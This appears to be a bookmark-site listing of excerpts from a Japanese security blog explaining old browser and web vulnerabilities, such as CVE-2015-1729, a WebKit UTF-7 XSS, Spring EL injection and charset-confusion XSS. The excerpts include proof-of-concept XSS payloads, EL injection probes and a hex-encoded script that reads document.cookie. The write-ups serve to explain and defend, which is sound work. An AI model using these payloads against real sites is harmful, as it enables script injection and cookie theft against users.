サクサク読めて、アプリ限定の機能も多数!
トップへ戻る
Google I/O
masa141421356.hatenablog.com
そろそろ2015年7月のWindows定例アップデートで修正された CVE-2015-1729(MS15-065)の内容の解説と対策を書こうと思います。 PoC 以下のような CSV (http://example.jp/target.csv)があったとします。 a,b c,dこれはIE9以降に以下のような攻撃コードを与えることで内容を読み取ることが可能でした。 <script> window.onerror=function(){alert(arguments.callee.caller);}; </script> <script src="http://example.jp/target.csv"></script> このバグは、JavaScript として読み込ませると実行時エラーになるようなデータがある場合に、クロスオリジンの制約が働かずに、arguments.callee.cal
この記事は 脆弱性"&'<<>\ Advent Calendar 2014 http://www.adventar.org/calendars/622 の23日目です。 WebKit の UTF-7 デコーダのバグを利用した XSS (CVE-2010-1390)がどのようなものだったのか、そろそろここでまとめようと思います。 エンコーディングがUTF-7 の場合に、以下のHTMLをSafari 5.0 / 4.1 以前でパースすると <form id=a> <input type=text value="+"><input type=text value="- onclick=alert(document.getElementById('a').innerHTML)//"> </form> 以下のようにパースされます(?のところは実際には U+FFFD となります)。 ポイントは + の
These are writeup of XSS challenge http://www.rafayhackingarticles.net/2014/06/rhainfosec-xss-challenge-2.html 回答1 Answer #1(IE only) <script> if (location.search.length=="") { location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>"; } </script> <a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=even
ELインジェクションとは何か Spring Framework に存在した脆弱性 CVE-2011-2730 です。これは EL式を2重実行することで引き起こされます。 発見者は MindedSecurity の Stefano Paola (@WisecWisec) 氏と Aspect Security の Arshan Dabrirsiaghi 氏で、詳細な解説は http://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf にあります。 ブラインドインジェクションでの配列の長さの検出方法 list の要素数が 3 より大きいかどうかを判別する ${list[3]=list[3] ? 'OK' : 'OK'} これは要素の数が 3 以下の場合に配列のインデクス範囲オーバーで HTTP 500 になります。
<html> <head id=headelement> <title>document.head></title> <script> var id1=document.head.id; </script> </head> <body> <script> var id2 = document.head.id; </script> <form name=head id=formelement><input type=text></form> <script> var id3 = document.head.id; document.write(id1); document.write("<br>"); document.write(id2); document.write("<br>"); document.write(id3); //id3 is "formelement" on some
alert(1)を実行させてください。ただし、リンク先のサーバへの細工は一切出来ないものとします(javascriptスキームへのリダイレクトとかは禁止ということで)。 Execute alert(1), but you can not customize server linked from IMG element (for example, redirection to "javascript:" scheme is not allowed). <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>XSS challange ( execute alert())</title> <script type="text/javascript"> var w = nul
function getBrowserNameByDecodeURI() { //Firefox's decodeURI decodes percent-encoded U+FFFF and U+FFFE as U+FFFD if (decodeURI("%EF%BF%BF") == "\uFFFD") { try { //see http://d.hatena.ne.jp/masa141421356/20091009 decodeURI("%F0%81%80%80"); return "Firefox 3.5 or older"; } catch (e) { return "Firefox 3.6"; } } try { if (decodeURI("%C0%80")=="%C0%80") { //Opera's bug DSK-298518 return "Opera 10.x or
"%C0%80" がそのままならOpera 10.x もしくはそれ以前 "\x00" になれば "IE" "\uFFFD" になれば Firefox 3.5 以前 ECMAScript5の仕様に従っていれば例外(URIError)を投げる(Chrome, Safari, Opera 11)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" [<!ENTITY nbsp "'">] > <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ja" lang="ja"> <head> <title>XHTML Entity Hijacking Example</title> </head> <body> <p onclick="alert('1 )+alert( 2')">&nbsp; = </p> </body> </html> 解説 DOCTY
安全なSQLの呼び出し方 非常に細かい所なんですが、Oracle + JDBC の場合は、文字列リテラルを使った式とプレースホルダを使った式が等価では無い場合があるので、プログラムを書き換える時には注意が必要です。 具体的な事例として java-houseでの例を紹介しておきます。 ではどうすればいいのか考えるというのがここでの話題です。 等価にならない条件ですが、これははっきりしていて、 テーブルの列が固定長文字列として宣言されている JDBCの標準のパラメータ設定用メソッド PreparedStatement#setString(int, String) でパラメータ値をセットしている Oracleの固定長文字列の比較の「末尾のスペースの有無の無視」が有効であることが前提となるような検索条件である という3つの条件を全て満たしている場合に限られます。 (http://java-hous
文字コード指定の無いUTF-8のコンテンツでは、ブラウザ側の文字コード自動認識でシフトJISと誤認させることで、HTMLの特殊文字を一切使わずにXSSが成立する場合があります。 原理 UTF-8 では1文字が3バイトマッピングされる場合があります。 そこで、これをShift_JISと誤認させると、3バイト目と次の1バイトをセットで1文字と誤認させることができます。これにより、HTMLの区切り文字の効力を失わせてスクリプトを注入することが可能です。 例:"あ" = E3 81 82 なので、シフトJISと誤認すると "縺" (E381) +余分な先行バイトの 0x82 具体例 例えば、動的なコンテンツ(UTF-8で応答を生成) <html> <head> <title>abcde</title> </head> <body> <form> <input type=text value="ユー
charset指定を明示しない動的なUTF-16のHTMLでは、 動的に生成した部分に1バイトで文字を表現できるエンコーディングで HTMLのタグと認識できるようなバイト列を注入することでXSSが成立する。 例: UTF-16(BE,BOMなし)で生成されるレスポンスが <html><head> <title>ユーザー入力文字列</title> </head> <body>AA</body></html>の場合。(便宜上改行していますが実際には改行されていないものと思ってください) ユーザー入力文字列のUTF-16でのバイト列が hex表記で 3C 2F 74 69 74 6C 65 3E 3C 73 63 72 69 70 74 3E 61 6C 65 72 74 28 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 29 3C 2F 73 63
このページを最初にブックマークしてみませんか?
『masa141421356’s blog』の新着エントリーを見る
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く